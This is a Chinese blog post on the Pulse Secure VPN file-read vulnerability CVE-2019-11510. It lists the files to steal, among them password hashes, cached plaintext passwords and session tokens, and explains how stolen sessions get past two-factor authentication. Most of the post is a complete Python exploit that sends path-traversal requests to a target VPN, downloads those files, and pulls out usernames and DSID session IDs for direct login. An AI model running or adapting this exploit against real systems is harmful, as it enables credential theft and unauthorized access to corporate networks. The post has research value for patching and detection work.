Pulse Secure 任意文件读取(CVE-2019-11510)漏洞
漏洞分析
我们可以通过CVE-2019-11510这个未授权的任意文件读取漏洞把以下文件下载回来。
- /etc/passwd
- /etc/hosts
- /data/runtime/mtmp/system
- /data/runtime/mtmp/lmdb/dataa/data.mdb
- /data/runtime/mtmp/lmdb/dataa/lock.mdb
- /data/runtime/mtmp/lmdb/randomVal/data.mdb
- /data/runtime/mtmp/lmdb/randomVal/lock.mdb
其中,mtmp/system文件保存了用户名和密码哈希。
dataa/data.mdb缓存了已登录用户的明文密码。
randomVal/data.mdb文件保存了用户的会话。
但是就是获得了账号密码,也要面对双因素认证。
第一方法,通过randomVal/data.mdb保存的会话登录。
事实上,研究员还发现了以下安全漏洞。
- CVE-2019-11510 - Pre-auth Arbitrary File Reading
- CVE-2019-11542 - Post-auth Stack Buffer Overflow
- CVE-2019-11539 - Post-auth Command Injection
- CVE-2019-11538 - Post-auth Arbitrary File Reading
- CVE-2019-11508 - Post-auth Arbitrary File Writing
- CVE-2019-11540 - Post-auth Session Hijacking
影响版本
漏洞编号 影响版本
CVE-2019-11510 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX
CVE-2019-11542 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure:9.0RX 5.4RX 5.3RX 5.2RX 5.1RX
CVE-2019-11539 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure: 9.0RX 5.4RX 5.3RX 5.2RX 5.1RX
CVE-2019-11538 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX
CVE-2019-11508 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX
CVE-2019-11540 Pulse Connect Secure: 9.0RX 8.3RX 和 Pulse Policy Secure: 9.0RX 5.4RX
漏洞利用
https://github.com/projectzeroindia/CVE-2019-11510
参考以上shell脚本写的python版exp:
使用:python exp.py https://sslvpn.target.com/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | import requests import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() import os import sys from urllib.parse import urlparse,urljoin banner = ''' _______ ________ ___ ___ __ ___ __ __ _____ __ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____/_ |/ _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | | | | | | | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ | | | | | | |____ \ / | |____ / /_| |_| || | / / | || |___) || | |_| | \_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ |_|\___/ python By StudyCat ''' print (banner) def exp(url): netloc = urlparse(url)[ 1 ] path = urlparse(url)[ 2 ] if path = = '/' : url = url elif path = = '': url = url + '/' else : print ( "URL Error" ) return r = requests.get(url + 'data-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' , verify = False ) if r.status_code = = 200 and 'root:x:0:0:root' in r.text: print (url + " ---------------> Vulnerable\n" ) print ( 'Extracting /etc/passwd' ) print ( "Writing all files to output dir " + netloc) if not os.path.exists(netloc): os.mkdir(netloc) print (r.text + "\n" ) f = open (netloc + '/passwd' , 'a' ) f.write(r.text) f.close() r = requests.get(url + 'data-na/../dana/html5acc/guacamole/../../../../../../../etc/hosts?/dana/html5acc/guacamole/' , verify = False ) if r.status_code = = 200 : print ( 'Extracting /etc/hosts' ) print (r.text) f = open (netloc + '/hosts' , 'a' ) f.write(r.text + "\n" ) f.close() print ( 'Downloading /data/runtime/mtmp/lmdb/dataa/data.mdb to extract plaintext usernames and password' ) r = requests.get(url + 'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/' , verify = False ) if r.status_code = = 200 : f = open (netloc + "/data_runtime_mtmp_lmdb_dataa_data.mdb" , 'ab' ) f.write(r.content) f.close() f = open ( 'data_runtime_mtmp_lmdb_dataa_data.mdb' , 'rb' ) users = [] buf = f.readline() while buf: n = buf.count(b 'CN=' ) if n> 0 : for i in range (n): if i : indexx = buf.find(b 'CN=' ,indexx + 1 ) else : indexx = buf.find(b 'CN=' ) t = buf[indexx:indexx + 100 ] end = t.find(b '\x00' ) t = buf[indexx:indexx + end] users.append(t.decode()) buf = f.readline() f.close() users = list ( set (users)) f = open (netloc + "/users.txt" , "a" ) for line in users: f.write(line + "\n" ) f.close() print ( "Downloading /data/runtime/mtmp/lmdb/randomVal/data.mdb to extract sessionids, Use DSID=SESSIONID; as cookie to login directly into vpn" ) r = requests.get(url + 'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb?/dana/html5acc/guacamole/' , verify = False ) if r.status_code = = 200 : f = open (netloc + "/data_runtime_mtmp_lmdb_randomVal_data.mdb" , 'ab' ) f.write(r.content) f.close() f = open (netloc + "/data_runtime_mtmp_lmdb_randomVal_data.mdb" , 'rb' ) sessionids = [] buf = f.readline() while buf: n = buf.count(b 'randomVal' ) if n> 0 : for i in range (n): if i : indexx = buf.find(b 'randomVal' ,indexx + 9 ) else : indexx = buf.find(b 'randomVal' ) t = buf[indexx:indexx + 41 ] if len (t) = = 41 and b '\x00' not in t: sid = t[ 9 :].decode() sessionids.append(sid) buf = f.readline() f.close() sessionids = list ( set (sessionids)) f = open (netloc + '/sessionids.txt' , 'a' ) for sid in sessionids: print (sid) f.write(sid + "\n" ) f.close() else : print (url + " ---------------> Not Vulnerable" ) def main(): url = sys.argv[ 1 ] exp(url) if __name__ = = '__main__' : main() |
参考:
https://github.com/projectzeroindia/CVE-2019-11510
https://hackerone.com/reports/591295
转载请注明出处。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)